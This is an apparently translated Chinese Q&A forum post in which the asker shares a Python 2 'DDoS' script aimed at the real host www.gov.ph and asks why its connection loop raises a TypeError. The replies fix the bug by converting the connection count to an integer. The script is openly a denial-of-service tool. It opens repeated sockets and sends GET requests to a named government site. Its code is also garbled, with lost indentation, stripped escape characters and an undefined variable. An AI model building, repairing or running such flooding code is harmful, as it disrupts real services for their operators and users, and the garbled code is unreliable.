我试图在python中制作一个非常简单的DDoS脚本,但我似乎得到了这个输出:
for i in xrange(conn):
TypeError: an integer is required
请帮忙,我不知道为什么输出是这样的。谢谢。
下面是我的脚本:
#usr/bin/python
"""
"""
import time, socket, os, sys, string, random, subprocess
from flask import Flask
from colorama import *
init()
# useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
version = "0.0.1]"
subprocess.call('clear', shell=True)
def main():
print(Fore.RED + "t ,/ . ")
print("t (( )) ")
print("t `. ,' ")
print("t )') (`( ")
print("t ,'`/ ,`. ")
print("t(`-( )-')")
print("t -') (`-/ ")
print("t /`' `' ")
print("t ( _ _ ) ")
print("t | ( / ) | ")
print("t | `. /,' | ")
print("t | ` /' | ")
print("t ( ) ")
print("t / ")
print("t / ")
print("t `. ,' ")
print("t `-.-' ")
print("t [v" + version)
print "nSelect option:"
print
print "t [1] Berry DDoSer"
print "t [2] Start Webgui (Currently Still in Beta)"
print "nt [0] Exit"
print
print
choice = raw_input(Fore.BLUE + 'berry > ')
print
if choice == '1':
print ("[!] DDoS Mode Loaded")
host = 'www.gov.ph'
port = 80
conn = raw_input("How many connections do you want to make: ")
ip = socket.gethostbyname( host )
def dos():
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, 80))
ddos.send( "GET /%s HTTP/1.1rn" % message )
ddos.sendto( "GET /%s HTTP/1.1rn" % message, (ip, port) )
ddos.send( "GET /%s HTTP/1.1rn" % message )
except socket.error, msg:
print("[!] [Connection Failed]")
print("[DDoS Attack Servering on port %s..." + port)
ddos.close()
for i in xrange(conn):
dos()
if choice == '2':
app = Flask(__name__)
@app.route("/")
def web_start():
return '''
<html>
<head>
<style>
body{
background-color: yellow;
}
</style>
</head>
<body>
<center>
<h1 style="color: red;">Hello</h1>
<button id="testButton">Test button</button>
</center>
</body>
</html>
'''
if __name__ == "__main__":
app.run()
if choice == "exit" or choice == '0':
raw_input("t[!] Quiting Session...")
print("n[!] Session Closed.")
exit()
if __name__ == '__main__':
main()
注意其他的东西,ddos脚本是与选项1
conn
作为字符串被读入。尝试将其转换为int类型。xrange(int(conn))
我想你应该试着用xrange(int(conn)
代替xrange(conn)